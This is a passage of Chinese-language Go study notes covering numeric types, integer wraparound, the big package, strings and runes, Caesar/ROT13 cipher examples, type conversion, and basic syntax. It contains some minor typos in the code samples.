类型的值,所以除非你有特殊理由,否则就应该优先使用 float64 类型。\n\n零值在go语言中,每种类型都有相应的默认值,我们将其称为零值(zero value)。\n当你声明一个变量但是却没有为它设置初始值的时候,该变量就会被初始化为零值。\nvar price flaot64//运行结果,打印出数字0fmt.Println(price)//对于计算机来说,上述声明与以下声明是完全相同的price:=0.0\n\n打印浮点类型在使用 print 或者 println 处理浮点类型的时候,函数默认将打印出尽可能多的小数位数。如果这并不是你想要的效果,那么可以通过 printf 函数的格式化变量 %f 来指定被打印小数的位数。\nthird := 1.0/3fmt.Println(third)//打印出0.3333333333333333fmt.Printf("%v\\n",third)//打印出0.3333333333333333fmt.Printf("%f\\n",third)//打印出333333fmt.Printf("%.3f\\n",third)//打印出0.333fmt.Printf("%4.2f\\n",third)//打印出0.33\n\n格式化变量 %f 将根据给定的宽度和精度格式化 third 变量的值。\n格式化变量的精度用于指定小数点之后应该出现的数字数量。\n宽度 精度"%4.2f"\n\n\n另外,格式化变量的宽度指定了打印整个实数(包括整数部分、小数部分和小数点在内)需要显示的最小字符数量。如果用户给定的宽度比打印实数所需的字符数量要大,那么 printf 将使用空格填充输出的左侧。在用户没有指定宽度的情况下,printf 将按需调整打印实数所需的字符数量。\n如果想使用数字 0 而不是空格来填充输出的左侧,那么只需要像如下所示的那样,在宽度的前面加上一个 0 即可。\nfmt.Println("%05.f\\n",third)//打印出00.33\n\n浮点精确性正如 0.33 只是 1/3 的近似值一样,在数学上,某些有理数是无法用小数形式表示的。那么自然地,对近似值即使也将产生一个近似结果。\n例如:\n1/3+1/3+1/3=10.33+0.33+0.33=0.99\n\n因为计算机硬件使用只包含 0 和 1 的二进制数而不是包含 0~9 的十进制来表示浮点数,所以浮点数经常会受到舍入错误的影响。例如:\nthird := 1.0/3fmt.Printf("%f\\n",third)//打印出0.333333fmt.Printf("%7.4f\\n",third)//打印出0.3333fmt.Printf("%06.2f\\n",third)//打印出000.33\n\n计算机虽然可以精确地表示 1/3,但是在使用这个数字和其它数字进行计算的时候却会引发舍入错误。\nthird := 1.0/3.0fmt.Println(third+third+third)//打印出1piggyBank := 0.1piggyBank += 0.2fmt.Println(piggyBank)//打印出 0.30000000000000004\n\n正如所见,浮点数并不是准确无误地,不适合存储对精度要求很高的数字。\n我们可以让 printf 函数只打印小数点后两位小数,这样就可以把底层实参导致的舍入错误掩盖掉。\n为了尽可能地减少舍入错误,我们还可以将乘法计算放到除法计算的前面执行,这种做法通常会得出更为精确的计算结果。\n先执行除法运算\ncel := 21.0fmt.Print((cel/5.0*9.0)+32,"F\\n")fmt.Print((9.0/5.0*cel)+32,"F\\n")//都打印出69.80000000000001F\n先执行乘法计算\ncel := 21.0fah := (cel*9.0/5.0)+32.0fmt.Print(fah,"F")//打印出69.8F\n\n\n避免舍入错误的最佳方法是不使用浮点数\n\n比较浮点数注意,在代码清单中,piggyBank变量的值是 0.30000000000000004 而不是我们想要的 0.30。在比较浮点数的时候,必须小心。\npiggyBank := 0.1piggyBank += 0.2//piggyBank值:0.30000000000000004fmt.Println(piggyBank==0.3)//结果为false\n\n为了避免上述问题,我们可以另辟蹊径,不直接比较两个浮点数,而计算出它们之间的差,然后通过判断这个差的绝对值是否足够小来判断两个浮点数是否相等。为此,我们可以使用 math 包提供的 Abs 函数来计算 float64 浮点数的绝对值:\nfmt.Println(math.Abs(piggyBank-0.3)<0.0001)//打印出true\n\n整数声明整数类型变量在go提供的众多整数类型当中,有 5 种整数类型是有符号(signed) 的,这意味着它们既可以表示正整数,又可以表示负整数。在这些整数类型中,最常用的莫过于代表有符号整数的 int 类型了:\nvar year int=2018\n除有符号整数之外,go还提供了 5 种只能表示非负整数的无符号(unsigned) 整数类型,其中的典型为 uint 类型:\nvar month uint=2\n因为go在进行类型推断的时候总是会选择 int 类型作为整数值的类型,所以下面这3行代码的意义是完全相同的:\nyear := 2018var year = 2018var year int = 2018\n\n提示,如果类型推断可以正确的为变量设置类型,那么我们就没有必要为其指定 int 类型\n\n为不同场合而设的整数类型无论是有符号整数还是无符号整数,它们都有各种不同大小(size)的类型可供选择,而不同大小又会影响它们自身的取值范围以及内存占用。\n下表列出了8种与计算机架构无关的整数类型,以及这些类型需要占用的内存大小。\n\n\n\n类型\n取值范围\n内存占用情况\n\n\n\nint8\n-128~127\n8位(1字节)\n\n\nuint8\n0~255\n8位(1字节)\n\n\nint16\n-32 768~32 767\n16位(2字节)\n\n\nuint16\n0~65 535\n16位(2字节)\n\n\nint32\n-2 147 483 648~2 147 483 647\n32位(4字节)\n\n\nuint32\n0~4 294 967 295\n32位(4字节)\n\n\nint64\n-9 223 372 036 854 775 808~9 223 372 036 854 775 807\n64位(8字节)\n\n\nuint64\n0~18 446 744 073 709 551 615\n64位(8字节)\n\n\nint 类型和 uint 类型会根据目标硬件选择最合适的位长,所以它们未被包含在表里。\n\n\n\n\n\n提示:如果你的程序需要操作20亿以上的数值并且可能会在32位架构上运行,那么请确保你使用的是 int64 类型或者 uint64 类型,而不是 int 类型或者 uint 类型\n\n\n注意:在某些架构上把 int 看作 int32,而在另一些架构上则把 int 看作 int64,这是一种非常想当然的想法,但这种想法实际上并不正确:int 不是其它任何类型的别名,int、int32 和 int64 实际上是3种不同的类型。\n\n了解类型如果你对go编译器推断的类型感到好奇,那么可以使用 printf 函数提供的格式化变量 %T 去查看指定变量的类型。\nyear:=2018fmt.Printf("value:%v\\ntype: %T\\n",year,year)//运行结果value:2018type: int\n为了避免在 printf 函数中重复使用同一个变量两次,我们可以将[1]添加到第二个格式化变量 %v 中,以此来复用第一个格式化变量的值,从而避免代码重复:\nyear:=2018fmt.Printf("value:%v\\ntype: %[1]T\\n",year)//运行结果value:2018type: int\n\n为8位颜色使用uint8类型层叠样式表(CSS)技术通过范围为 0255 的红绿蓝三原色来指定画面上的颜色。因为 8 位无符号整数正好可以表示范围为 0255 的值,所以使用 uint8 类型来表示层叠样式表中的颜色可以说是再合适不过了。\nvar read,green,blue uint8=0,141,213\n与常见的 int 类型相比,使用 uint8 类型有以下好处。\n\nuint8 类型可以将变量的值限制在合法范围之内,与 32 位整数相比,uint8 消除了超过40 亿种可能出现的错误。\n对于未压缩图片这种需要按顺序存储大量颜色的场景,使用 8 位整数可以节省大量内存空间。\n\n\ngo语言中的十六进制数字在go语言中表示十六进制数字必须带有 0x 前缀使用 Printf 函数打印十六进制数字,可以使用 %x 作为格式化变量\n\n整数回绕在go语言中,当超过整数类型的取值范围时,就会出现整数环绕现象。\nvar red uint8 = 255red++fmt.Println(red)//打印出0var number int8 = 127number++fmt.Println(number)//打印出-128\n\n聚焦二进制位为了了解整数出现环绕的原因,我们需要将注意力放到二进制位上,为此需要用到格式化变量 %b,它可以以二进制的形式打印出相应的整数值。跟其他格式化变量一样,%b 也可以启用零填充功能并指定格式化输出的最小长度。\n对 green 加 1 导致进位,最终计算得出二进制数 00000100,也就是十进制数4。\nvar green uint8 = 3fmt.Printf("%08b\\n",green)//打印出00000011green++fmt.Printf("%08b\\n",green)//打印出00000100\n\n提示:math 包定义了值为 65535 的常量 math.MaxUint16,还有与架构无关的整数类型的最大值常量以及最小值常量。再次提醒一下,由于 int 类型和 uint 类型的位长在不同硬件上可能会有所不同,因此 math 包并没有定义这两种类型的最大值常量和最小值常量。\n\n在对值为 255 的 8 位无符号整数 blue 执行增量运算的时候,同样的进位操作将再次出现,但这次进位跟前一次进位有一个重要的区别:对只有 8 位的变量 blue 来说,最高位的 1 将 “无处容身”,并导致变量的值变为0。\nvar blue uint8=255fmt.Printf("%08b\\n",blue)//11111111blue++fmt.Printf("%08b\\n",blue)//00000000\n虽然回绕在某些情况下可能正好是你想要获得的状态,但是有时候也会成为问题。最简单的避免回绕的方法就是选用一种足够长的整数类型,使它能够容纳你想要存储的值。\n避免时间环绕基于 Unix 的操作系统都是由协调时间时(UTC)1970年 1月 1日以来的秒数来表示时间,但是这个秒数在 2038 年将超过 20 亿,也就是大致相当于 int32 类型的最大值。\n虽然 32 位整数无法存储 2038 年以后的日期,但是我们可以通过 64 位整数来解决。在任何平台上,使用 int64 类型和 uint64 类型都可以轻而易举地存储大于 20 亿的数字。\n如下代码使用了一个超过 120 亿的巨大值来展示go足以应对 2038 年后的日期。这段代码使用了来自 time 包的 Unix 函数,该函数接受两个 int64 类型的值作为参数,它们分别代表协调世界时 1970 年 1 月 1 日 以来的秒数和纳秒数。\npackage mainimport ( "fmt" "time")func main(){ future :=time.Unix(12622780800,0) fmt.Println(future)}//运行结果2370-01-01 08:01:20 +0800 CST\n\n\n大数击中天花板利用变量存储半人马座阿尔法星与地球之间的距离——41.3万亿公里。\n这样的大数是无法使用 int32 类型和 uint32 类型存储的。但使用 int64 类型存储这样的值却是绰绰有余的。\ngo语言可以通过使用指数来减少键入 0 的次数\nvar dis int64=41300000000000//使用指数形式var dis int64=41.3e12\n\n尽管 64 位整数已经非常大了,但与整个宇宙相比,它们还是有些太渺小了。具体来说,即使是最大的无符号数类型 uint64,它能存储的数值上限也仅为 18 艾(10的18次方)。\n对存储更大的值,比如地球和仙女星系之间的距离 24 艾来说,尝试使用 uint64 类型存储这一距离将引发溢出错误。\n虽然uint64无法处理这种非常大的数值,但是我们还有其他选择。例如,前面介绍过的浮点数。\n除了浮点类型之外,我们还有另一种方法,那就是接下来要介绍的big包\n\n注意:如果用户没有显示地为包含指数的数值变量指定类型,那么GO将推断其类型为float64\n\nbig包big包提供了以下 3 种类型\n\n存储大整数的 big.Int,它可以轻而易举地存储超过 18 艾的数字。\n存储任意精度浮点数的 big.Float。\n存储诸如 1/3 的分数的 big.Rat。\n\n\n注意:除了使用现有的类型,用户还可以自行声明新类型。\n\n虽然地球与仙女星系之间的距离足有 24 艾公里,但对 big.Int 类型来说,这不过一个微小不足道的数值,big.Int 完全有能力存储和操作它。\n一但决定使用 big.Int,就需要在等式的每个部分都使用这种类型,即使对已存在的常量来说也是如此。使用 big.Int 类型最基本的方法就是使用 NewInt 函数,该函数接受一个 int64 类型的值作为输入,返回一个 big.Int 类型的值作为输出:\npackage mainimport ( "fmt" "math/big")func main(){ num :=big.NewInt(299792) fmt.Println(num)}\nNewInt 虽然使用起来非常方便,但是它对创建 24 艾这种超过 int64 取值上限的大数来说并无帮助。为此,我们可以通过给定一个 string 来创建相应的 big.Int 类型的值:\npackage mainimport ( "fmt" "math/big")func main(){ num :=big.NewInt(299792) dis :=new(big.Int) dis.SetString("240000000000000000",10) fmt.Println(num) fmt.Println(dis)}//运行结果299792240000000000000000\n\n这段代码在创建 big.Int 变量之后,会通过调用 SetString 方法来将它的值设置为 24 艾。另外,因为数值 24 艾是基于十进制的,所以传给SetString 方法的第二个参数为 10。\n\n注意:方法跟函数非常相似\n\n像 big.Int 这样的大类型虽然能够精确表示任意大小的数值,但代价是使用起来比 int、float64 等原生类型要麻烦,并且运行速度也会相对较慢。\n大小非同寻常的常量常量声明可以跟变量声明一样带有类型,但是常量也无法用 uint64 类型存储像 24 艾这样的巨大值:\nconst dis uint64 = 2400000000000000000//尝试定义一个值为2400000000000000000的常量将导致 uint64 类型溢出\n\n但是,如果声明的是一个不带类型的常量,那么事情就会变得有趣起来。正如之前所述,如果在声明整数类型变量的时候没有显示地为其指定类型,那么 Go 将通过类型推断为其指定 int 类型,而当变量的值为 24 艾时,这一行为将导致 int 类型溢出。然而 go 语言在处理常量时的做法与处理常量时的做法并不相同。具体来说go语言不会为常量推断类型,而是直接将其标识为无类型(untyped)。例如,以下代码就不会引发溢出错误:\npackage mainimport ( "fmt")func main(){ const dis=240000000000000000 fmt.Println(dis)}//运行结果240000000000000000\n\n常量通过关键字 const 进行声明,除此之外,程序里的每个字面值(literal value)也都是常量。这意味着那些大小非同寻常的数值可以被直接使用,就像如下代码。\nfmt.Println(240000000000000000/299792/86400)//运行结果9265683\n针对常量和字面量的计算将在编译时而不是程序运行时执行。因为go的编译器就是用go语言编写的,并且在底层实现中,无类型的数值常量将由big包提供支持,所以程序能够直接对超过18艾的数值常量执行所有常规运算。\n变量也可以使用常量作为值,只要变量的大小能够容纳容量即可。例如,虽然 int 类型的变量无法容纳24艾,但让它存储 926 568 346还是没有任何问题的:\nconst dis=926568346km:=dis fmt.Println(km)\n使用大小非同寻常的常量有一个需要注意的地方:尽管go编译器使用 big 包处理无类型的数值常量,但常量与 big.Int 值是无法互换的。\n非常大的常量虽然很有用,但它们还是无法完全取代 big 包。\n多语言文本声明字符串变量因为go语言会把用双引号包围的字面值推断为 string 类型,所以以下3行代码的作用是相同的:\npeace := "peace"var peace = "peace"var peace string = "peace"\n如果你声明了一个变量但是没有为它赋值,那么go语言将使用变量类型的零值对其进行初始化,而string类型的零值就是空字符串"":\nvar blank string\n\n原始字符串字面量\n字符串字面量可以包含转义字符,如果你想要的是字符\\n本身而不是一个新的文本行,那么你可以像如下所示的那样,使用反引号(`)而不是双引号(”)来包围文本。使用反引号包围的字符串被称为原始字符串字面量。\npackage mainimport ( "fmt")func main(){ fmt.Println("1\\n2\\n3") fmt.Println(`1\\n2\\n3`)}//运行结果1231\\n2\\n3\n\n跟普通字符串字面量不同的是,原始字符串字面量可以在代码里面跨越多个文本行。\npackage mainimport ( "fmt")func main(){ fmt.Println(` 1 2 3`)}//运行结果//字符串中用于缩进的制表符也被正确地打印了出来 1 2 3\n无论是字符串字面量还是原始字符串字面量,最终都将变成字符串。\n字符、代码点、符文和字节统一码联盟(Unicode Consortium)把名为代码点的一系列数值赋值给了上百万个独一无二的字符。\ngo语言提供了 rune(符文) 类型用于表示单个统一码代码点,该类型是 int32 类型的别名。\n除此之外,go语言还提供了 uint8 类型的别名 byte,这种类型既可以表示二进制数据,又可以表示由美国信息交换标准代码(ASCII)定义的英文字符(历史悠久的ASCII包含128个字符,它是统一码的子集)。\n\n类型别名因为类型别名实际上就是同一类型的不同名字,所以 rune 和 int32 是可以互换的。尽管 byte 和 rune 从一开始就出现在了go里面,但是从go 1.9开始,用户也可以自行声明类型别名,就像这样:type byte uint8type rune = int32\n\n在 Printf 中使用格式化变量%c,可以打印单个字符。\npackage mainimport ( "fmt")func main(){ var pi rune = 960 fmt.Printf("%c\\n",pi)}//运行结果π\n\n提示:虽然任意一种整数类型都可以使用格式化变量%c,但是通过使用别名 rune 可以表明数字90代表字符而不是数字。\n\n为了免除用户记忆统一码代码点的烦恼,go提供了相应的字符字面量句法。用户只需要像 'A' 这样使用单引号将字符包围起来,就可以取得该字符的代码点。如果用户声明了一个字符变量却没有为其指定类型,那么go将推断该变量的类型为 rune,因此下面代码是等效的\ngrade := 'A'var grade = 'A'var grade rune='A'\n提示:虽然 rune 类型代表的是一个字符,但它实际存储的仍然是数字值,因此 grade 变量存储的仍然是大写字母 ‘A’ 的代码点,也就是数字65。除 rune 之外,字符字面量也可以搭配别名 byte 一同使用:\nvar star byte ='*'\n\n拉弦我们可以将不同字符串赋值给同一个变量,但是无法对字符本身进行修改:\npeace := "shalom"peace = "salam"\n\n与此类似,我们的程序虽然可以独立访问字符串中的单个字符,但是不能修改这些字符。\n下列代码展示了如何通过方括号[]指定指向字符串的索引,从而达到访问指定 ASCII 字符的目的。字符串索引以 0 为起始值。\n通过索引获取字符串中的指定字符\npackage mainimport ( "fmt")func main(){ message := "shalom" c:=message[5] fmt.Printf("%c\\n",c)}//运行结果m\nRuby 中的字符串和 C 中的字符数组允许被修改,而go中的字符串与 python、java 和 javascript 中的字符串一样,都是不可变的,你不能修改go中的字符串:\n//结果会报错message[5]='d'\n\n使用凯撒加密法处理字符\n凯撒密码:对字符进行位移加密\n\n如下\nc:='a'c=c+3fmt.Printf("%c\\n",c)//运行结果 d\n如上代码展示的方法并不完美,因为它没有考虑该如何处理字符 ‘x’、’y’、’z’,所以它无法对 xylophones、yaks 和 zebras 这样的单词实施加密。为了解决这个问题,最初的凯撒加密法采取了回绕措施,也就是将 ‘x’ 变为 ‘a’、’y’变为’b’,而 ‘z’ 则变为 ‘c’。对于包含 26 个字符的英文字母表,我们可以通过这段代码实现上述变换:\npackage mainimport ( "fmt")func main(){ c:='a' c=c+3 if c>'z'{ c=c-26 } fmt.Printf("%c\\n",c)}//运行结果d\n\n凯撒密码的解密方法跟加密方法正好相反,程序不再是为字符加上 3 而是减去 3,并且它还需要在字符过小也就是 c<’a’ 的时候,将字符加上26 以实施回绕。虽然上述的加密方法和解密方法都非常直观,但由于它们都需要处理字符边界以实现回绕,因此实际的编码过程将变得相当痛苦。\n凯撒解密\npackage mainimport( "fmt")func main(){ c:='d' c=c-3 if c<'a'{ c=c+26 } fmt.Printf("%c\\n",c)}\n\n现代变体\n回转13(ROT13)是凯撒密码在 20 世纪的一个变体,该变体跟凯撒密码的唯一区别就在于,它给字符添加的量是 13 而不是 3,并且ROT13的加密和解密可以通过同一个方法实现,这是非常方便的。\n现在,假设搜寻地外文明计划(Searchfor Extra-terrestrial Intelligence,SETI)的相关机构在外太空扫描外星人通信信息的时候,发现了包含以下消息的广播:\nmessage :="uv vagreangvbany fcnpr fgngvba"\n我们有预感,这条消息很可能是使用 ROT13 加密的英文文本,但是在解密这条消息之前,我们还需要知悉其包含的字符数量,这可以通过内置的len函数来确定:\nfmt.Println(len(message))//打印出30\n\n注意:go拥有少量无须导入语句即可使用的内置函数,len函数就是其中之一,它可以测定各种不同类型的值的长度。\n\nROT13消息解密\npackage mainimport ( "fmt")func main(){ message :="uv vagreangvbany fcnpr fgngvba" for i:=0;i<len(message);i++{ c:=message[i] if c>='a'&&c<='z'{ c=c+13 if c>'z'{ c=c-26 } } fmt.Printf("%c",c) }}//运行结果hi international space station\n\n将字符串解码为符文有好几种可以为统一代码点编码,而go中的字符串使用的 UTF-8 编码就是其中的一种。UTF-8 是一种高效的可变程度的编码方式,它可以用8个、16个或者32个二进制位为单个代码点编码。在可变长度编码方式的基础上,UTF-8 沿用了 ASCII 字符的编码,从而使得 ASCII 字符可以直接转换为相应的 UTF-8 编码字符。\n上面代码展示的 ROT13 程序只会单独访问 message 字符串的每个字节(8位),但是没有考虑到各个字符可能会由多个字节组成。因此这个程序只能处理英文字符,但是无法处理其他字符。不过这个问题并不难解决。\n为了让 ROT13 能够支持多种语言,程序首先要做的就是在处理字符之前先将它们解码为 rune 类型。幸运的是,go正好提供了解码 UTF-8 的字符串所需的函数和语言特性。\nutf8 包提供了实现上述想法所需的两个函数,而 其中uneCountInString 函数能够以符文而不是以字节为单位返回字符串的长度,而 DecodeRuneInString 函数则能够解码字符串的首个字符并返回解码后的符文占用的字节数量。\npackage mainimport ( "fmt" "unicode/utf8")func main(){ question:="¿Cómo estás?" fmt.Println(len(question),"bytes") fmt.Println(utf8.RuneCountInString(question),"runes") c,size:=utf8.DecodeRuneInString(question) fmt.Printf("%c %v\\n",c,size)}//运行结果15 bytes12 runes¿ 2\n\n\n注意:go跟很多编程语言不同的一点在于,go允许返回多个值\n\n正如以下代码所示,go语言提供的关键字range不仅可以迭代各种不同的收集器,它还可以 utf-8 解码。\npackage mainimport ( "fmt")func main(){ question:="¿Cómo estás?" for i,c:=range question{ fmt.Printf("%v %c\\n",i,c) }}//运算结果0 ¿2 C3 ó5 m6 o78 e9 s10 t11 á13 s14 ?\n\n在每次迭代中,变量i都会被赋值为字符串的当前索引,而变量c则会被赋值为该索引上的代码点。\n如果你不需要在迭代的时候获取索引,那么只要使用go的空白表示符_(下划线)来省略它即可:\nfor _,c:= range question{\tfmt.Printf("%c",c)}//运行结果¿Cómo estás?\n类型转换类型不能混合使用变量的类型决定了它能够执行的操作,例如,数值类型可以执行加法运算,而字符串类型则可以执行拼接操作,诸如此类。通过加法操作符,可以将两个字符串拼接在一起:\ncountdown := "Launch in T minus"+"10 seconds" \n但是,如果尝试拼接数值和字符串,那么编译器就会报错。\n尝试混合使用整数类型和浮点类型同样会引发类型不匹配错误。在Go中,整数将被推断为整数类型,而诸如 365.2425 这样的实数则会被表示为浮点类型。\n//以下两个变量都是整数类型age:=41marsDays:=687//以下变量为浮点类型earthDays:=365.2425//以下操作会报错,因为类型不匹配fmt.Println("I am",age*earthDays/marsDays,"years old on Mars.")\n\n数字类型转换类型转换的用法非常简短。举个例子,如果你想把整数类型变量 age 转换为浮点类型以执行计算,那么只需要使用与新类型同名的函数来包裹该变量即可:\nage := 41marsAge := float64(age)\n虽然go语言不允许混合使用不同类型的变量,但是通过类型转换,如下代码中的计算将会顺利进行。\nage := 41marsAge := float64(age)marsDays := 687.0earthDays := 365.2425fmt.Println("I am",marsAge,"years old on Mars.")\n我们除可以将整数转换为浮点数之外,还可以将浮点数转换为整数,不过在这个过程中,浮点数小数点之后的数字将直接被截断而不会做任何舍入:\nfmt.Println(int(earthDays))//打印出365\n除整数和浮点数之外,有符号整数和无符号整数,以及各种不同长度的类型之间都需要进行类型转换。诸如 int8 转换为 int32 那样,从取值范围较小的类型转换为取值范围较大的类型总是安全的,但其他方式的类型转换则存在风险。\n例如,因为一个 uint32 变量的值最大可以是 40 亿,而一个 int32 变量的值最大只能是 20 亿,所以并不是所有 uint32 值都能安全转换为 int32 值。与此类似,因为 int 类型可以包含负整数,而 uint 类型不能包含负整数,所以只有值为非负整数的 int 变量才能安全转换为 uint变量。\ngo语言之所以要求用户在代码中显示地进行类型转换,原因之一就是为了让我们在使用类型转换的时候三思而后行,想清楚转换可能引发的后果。\n类型转换的危险之处类型转换导致溢出会得到与目标不同的值。\n在将 float64 类型转换为 int16 类型时可能会得出一个超出范围的值,从而导致软件异常。\npackage mainimport ( "fmt")func main(){ var bh float64=32768 var h=int16(bh) fmt.Println(h)}//运行结果-32768\n\n通过 math 包提供的最小常量和最大常量,我们可以检测出将值转换为 int16 类型是否会得到无效值:\nif bh < math.MinInt16 || bh>math.MaxInt16{\t//处理超出范围的值}\n\n注意:因为 math 包提供的最小常量和最大常量都是无类型的,所以程序可以直接使用浮点数 bh 去跟整数 MaxInt16 做比较。\n\n字符串转换正如如下代码所示,我们可以像转换数字类型时那样,使用相同的类型转换语法将 rune 或者 byte 转换为 string。最终的转换结果跟我们之前在前面使用格式化变量 %c 将符文和字节显示成字符时得到的结果是一样的。\nvar pi rune=960var alpha rune=940var omega rune = 969var bang byte = 33fmt.Print(string(pi),string(alpha),string(omega),string(bamg))//运行结果πάω!\n正如之前所述,因为 rune 和 byte 不过分别是 int32 和 uint8 的别名而已,所以将数字代码点转换为字符串的方法实际上适用于所有整数类型。\n跟上述情况相反,为了将一串数字转换为 string,我们必须将其中的每个数字都转换为相应的代码点,这些代码点从代表字符 0 的 48 开始,到代表字符 9 的 57 结束。手工处理这种转换是非常麻烦的,好在我们可以直接使用 strconv(代表 “string conversion”,也就是 “字符串转换”)包提供的 Itoa 函数来完成这一工作,就像如下代码清单所示。\npackage mainimport ( "fmt" "strconv")func main(){ countdown:=10 str:="Launch in T minus"+strconv.Itoa(countdown)+" seconds." fmt.Println(str)}//运行结果Launch in T minus 10 seconds.\n\n注意:Itoa是 “integer to ASCII” 也就是 “将整数转换为ASCII字符”的缩写。统一码是老旧的ASCII标准的超集,这两种标准开头的128个代码点是相同的,它们包含了(上例中用到的)数字、英文字母和常见的标点符号。\n\n将数值转换为字符串的另一种方法是使用 Sprintf 函数,它的作用与 Printf 函数基本相同,唯一的区别在于 Sprintf 函数会返回格式化之后的 string 而不是打印它:\n countdown:=9 str:=fmt.Sprintf("Launch in T minus %v seconds.",countdown) fmt.Println(str)//运行结果Launch in T minus 9 seconds.\n\n另外,如果我们想把字符串转换为数值,那么可以使用 strconv 包提供的 Atoi(代表 ASCII to integer,也就是将ASCII字符转换为整数)。需要注意的是,因为字符串里面可能包含无法转换为数字的奇怪文字,或者一个非常大以至于无法用整数类型表示的数字,所以 Atoi 函数有可能会返回相应的错误:\npackage mainimport ( "fmt" "strconv" "os")func main(){ countdown,err:=strconv.Atoi("10") if err != nil{ os.Exit(0) } fmt.Println(countdown)}//打印出10\n如果函数返回的 err 变量的值为nil,那么说明没有发生问题。\n\n静态类型在go语言中,变量一旦被声明,它就有了类型并且无法改变它的类型。这种机制被称为静态类型,它能够简化编译器的优化工作,从而使程序的运行速度变得更快。\n\n转换布尔值Print系列的函数可以将布尔值ture和false打印成相应的文本。如下代码就展示了如何使用 Sprintf 函数将布尔变 launch 转换为文本。如果想把布尔值转换为数字值或者其他文本,那么一个简单的if语句就能满足你的要求了。\npackage mainimport ( "fmt")func main(){ launch:=false launchText:=fmt.Sprintf("%v",launch) fmt.Println("Ready for launch:",launchText) var yesNo string if launch{ yesNo="yes" }else{ yesNo="no" } fmt.Println("Ready for launch:",yesNo)}//运行结果Ready for launch: falseReady for launch: no\n因为go允许我们直接将条件比较的结果赋值给变量,所以跟上述转换相比,将字符串转换为布尔值的代码会更为简单。\nyesNo :="no"launch := (yesNo == "yes")fmt.Println("Ready for launch:",launch)//运行结果Ready for launch: false\n没有提供专门的布尔类型的编程语言通常会使用数字 0 和空字符串 “” 来表示 false,并使用数字 1 和非空字符串来表示 true。但是在go语言中,布尔值并没有与之相等的数字值或者字符串值,因此尝试使用 string(false)、int(false) 这一的方法来转换布尔值,或者尝试使用bool(1)、bool(“yes”)等方法来获取布尔值,go编译器都会报告错误\n后言\n参考书籍:Go语言趣学指南参考课程:Go语言编程快速入门(Golang)\n\n","categories":["编程"],"tags":["Go"]},{"title":"Go chapter1","url":"/2024/10/25/program/go/go-chapter1/","content":"前言因为最近这段时间被拉去打一个程序开发的比赛,所以花几天学了一下go语言。\n接下来打算把学习go的笔记更一下,后面再写一些关于go的安全编程的内容。\n基本结构包和函数package main()import (\t"fmt")func main(){\tfmt.Println("hello world")}\n\npackage关键字声明了代码所属的包。\n在package关键字之后,代码使用了import关键字来导入自己将要用到的包。一个包可以包含任意数量的函数。\nfmt包提供了用于格式化输入和输出的函数。\nfunc关键字用于声明函数,在本例中这个函数的名字就是main。每个函数的体都需要使用大括号包围,这样go才能知道每个函数从何处开始,又在何处结束。\n当我们运行一个程序的时候,它总是从 main 包的 main 函数开始运行。如果 main 不存在,编译器将报错。\n每次用到被导入包的某个函数时,我们都需要在函数的名字前面加上包的名字以及一个点号作为前缀。\n唯一允许的大括号放置风格go对于大括号({})的摆放非常挑剔。左大括号 { 与func关键字位于同一行,而右大括号 } 则独占一行。这是go语言唯一允许的大括号放置风格,除此之外的其他大括号放置风格都是不被允许的。\n如果用户尝试将左大括号和 func 关键字放在不同的行里面,那么go编译器将报告一个语法错误。\n被美化的计算器执行计算注释go语言的注释和C语言一样\n单行注释\n//这是单行注释\n\n多行注释\n/*这是多行注释*/\n\n算术运算符编程语言中一般通用的常规运算符。\n\n\n\n运算符\n功能\n\n\n\n+\n加\n\n\n-\n减\n\n\n*\n乘\n\n\n/\n除\n\n\n%\n模\n\n\n格式化输出Println输出函数这个函数输出的内容会在后面加一个换行,也就是\\n。\nfmt.Println("hello world")\n\nPrintf格式化输出函数\nfmt.Printf("number: %v",10)\nPrintf 接收的第一个参数总是文本,第二个参数则是表达式,而文本中包含的格式化变量%v则会在之后被替换成表达式的值。\n这个和C语言中的printf很相似。\n%v是通用类型的意思\n虽然Println会自动将输出的内容推进至下一行,但是Printf和Print却不会那么做。对于后面这两个函数,用户可以通过在文本里面放置换行符\\n来将输出内容推进至下一行。\n如果用户指定多个格式化变量,那么Printf函数将按顺序把它们替换成相应的值。\nfmt.Printf("string: %[0]v \\n number: %[1]v \\n","Earth",10)\n\nPrintf除可以在句子的任意位置将格式化变量替换成指定的值之外,还能够调整文本的对齐位置。\n用户可以通过指定带有宽度的格式化变量%4v,将文本的输出宽度填充至4个字符。\n当宽度为正数时,空格将被填充至文本左边,而当宽度为负数时,空格将被填充至文本右边。\nfmt.Printf("%10v\\n",10)//输出结果//左边被以空格填充 10fmt.Printf("%-10v1\\n",10)//输出结果//右边被以空格填充10 1\n\n常量和变量常量\n//基本声明const host=24\n变量\n//基本声明var dis=9633\n\\\n走捷径一次声明多个变量每一行单独声明一个变量\nvar dis =560\n一次声明一组变量\nvar(\tdis=560\tspeed=1008)\n同一行声明多个变量\nvar dis,speed=560,1008\n\n需要注意的是,为了保证代码的可读性,我们在一次声明一组变量或者在同一行声明多个变量之前,应该先考虑这些变量是否相关。\n增量并赋值操作符有几种快捷方式可以让我们在赋值的同时执行以下操作。\nvar weight=129.0weigth*=0.37//等效于:weight=weight*0.37\n常见的有,这些概念一般其他编程语言中也有\n\n\n\n符号\n功能\n\n\n\n+=\n加上符号右边的值后再赋值\n\n\n-=\n减上符号右边的值后再赋值\n\n\n*=\n乘以符号右边的值后再赋值\n\n\n/=\n除以符号右边的值后再赋值\n\n\n%=\n模运算符号右边的值后再赋值\n\n\n自增运算符、\n用户可以使用i++执行加1操作\n但是go并不支持++i这种C语言中的操作。\nvar i=0i++i--\n\n数字游戏使用rand包来生成伪随机数\n下列代码中,会显示一个110之间的数字。这个程序会先向Intn函数传入数字10以返回一个09的随机数,然后把这个数字加一并将其结果赋值给变量num。\n传入给Intn函数的10会让rand生成从零开始的十个数字之间的随机数,即一个09的数字,所以如果我们要求是110则需加上一个1。\npackage mainimport(\t"fmt"\t"math/rand")func main(){\tvar num = rand.Intn(10)+1\tfmt.Println(num)}\n\n虽然 rand 包的导入路径为math/rand,但是我们在调用 Intn 函数的时候只需要使用包名 rand 作为前缀即可,不需要使用整个导入路径。\n循环和分支真或假布尔变量\n注意,go中0和1不能作为布尔值使用。\n//真var z=ture//假var j=false\n\ngo语言标准库里面有好多函数都会返回布尔值。\n例如如下代码\n代码中使用了strings包的Contais函数来检查command变量是否包含单词”outsize”,如果包含则返回为true,否则返回false\npackage mainimport ( "fmt" "strings")func main(){ var command="hello world" var exit=strings.Contains(command,"hello") fmt.Println("结果",exit)}//运行结果结果 